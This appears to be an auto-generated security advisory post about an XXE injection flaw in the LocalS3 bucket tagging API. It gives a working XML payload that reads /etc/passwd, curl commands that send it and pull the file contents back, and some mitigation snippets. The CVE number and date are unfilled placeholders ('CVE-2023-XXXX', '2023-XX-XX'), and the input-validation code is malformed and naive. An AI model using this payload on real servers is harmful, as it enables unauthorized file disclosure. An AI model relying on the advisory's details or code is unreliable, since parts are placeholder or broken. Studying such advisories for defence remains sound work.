LocalS3, XML External Entity (XXE) Injection, CVE-2023-XXXX (Critical)

Listen to this Post

🐢▶️ Listen🚀

How the CVE Works:

The vulnerability in LocalS3 arises due to improper handling of XML input in the bucket tagging API. When XML data is processed, the application fails to disable external entity resolution, allowing attackers to define and resolve external entities. By crafting a malicious XML payload, an attacker can reference local files (e.g., file:///flag.txt) and retrieve their contents through the API response. This XXE injection flaw enables unauthorized access to sensitive files on the server, such as configuration files, credentials, or system data, bypassing access controls. The exploit requires minimal technical knowledge and can be executed using standard S3 API operations, making it highly critical.

DailyCVE Form:

Platform: LocalS3
Version: All versions
Vulnerability: XXE Injection
Severity: Critical
Date: 2023-XX-XX

What Undercode Say:

Exploitation:

1. Payload Creation: Craft an XML payload with an external entity referencing a local file:

   <?xml version="1.0" encoding="UTF-8"?>
   <!DOCTYPE data [
   <!ENTITY xxe SYSTEM "file:///etc/passwd">
   ]>
   <Tagging><TagSet><Tag><Key>xxe</Key><Value>&xxe;</Value></Tag></TagSet></Tagging>
   

2. Send Payload: Use `curl` to send the payload to the bucket tagging endpoint:

   curl -X PUT -H "Host: app" -H "Authorization: AWS dummy:dummy" -H "Content-Type: application/xml" --data-binary @xxe.xml http://app/bucket?tagging
   

3. Retrieve Data: Fetch the bucket tags to extract the file contents:

   curl -H "Authorization: AWS dummy:dummy" http://app/bucket?tagging
   

Protection:

1. Disable DTD Processing: Configure the XML parser to disable external entity resolution:

   from lxml import etree
   parser = etree.XMLParser(resolve_entities=False, no_network=True)
   

2. Input Validation: Sanitize and validate XML input before processing:

   def sanitize_xml(xml_input):
   if "ENTITY" in xml_input:
   raise ValueError("Malicious XML detected")
   

3. Use Safe Parsers: Employ parsers that do not process external entities by default:

   import defusedxml.ElementTree as ET
   tree = ET.parse('safe.xml')
   

4. Update Libraries: Ensure all XML processing libraries are up-to-date with security patches.

Analytics:

• Attack Surface: The vulnerability affects all versions of LocalS3 using XML-based APIs.
• Impact Radius: Critical, as it allows unauthorized access to sensitive server files.
• Exploit Complexity: Low, requiring only basic knowledge of XML and API usage.

Commands:

• Test for Vulnerability:

  curl -X PUT -H "Host: app" -H "Authorization: AWS dummy:dummy" -H "Content-Type: application/xml" --data-binary @xxe.xml http://app/bucket?tagging
  

• Mitigation Check:

  grep -i "resolve_entities" /path/to/xml/config
  

Code Snippets:

• Safe XML Parsing:

  import defusedxml.ElementTree as ET
  tree = ET.parse('safe.xml')
  root = tree.getroot()
  

• Logging and Monitoring:

  import logging
  logging.basicConfig(filename='xxe_attempts.log', level=logging.WARNING)
  logging.warning("Potential XXE attempt detected: %s", xml_input)
  

  By following these steps, organizations can mitigate the risk of XXE injection in LocalS3 and protect their systems from unauthorized access.

References:

Reported By: https://github.com/advisories/GHSA-v232-254c-m6p7
Extra Source Hub:
Undercode

Join Our Cyber World:

Whatsapp
Telegram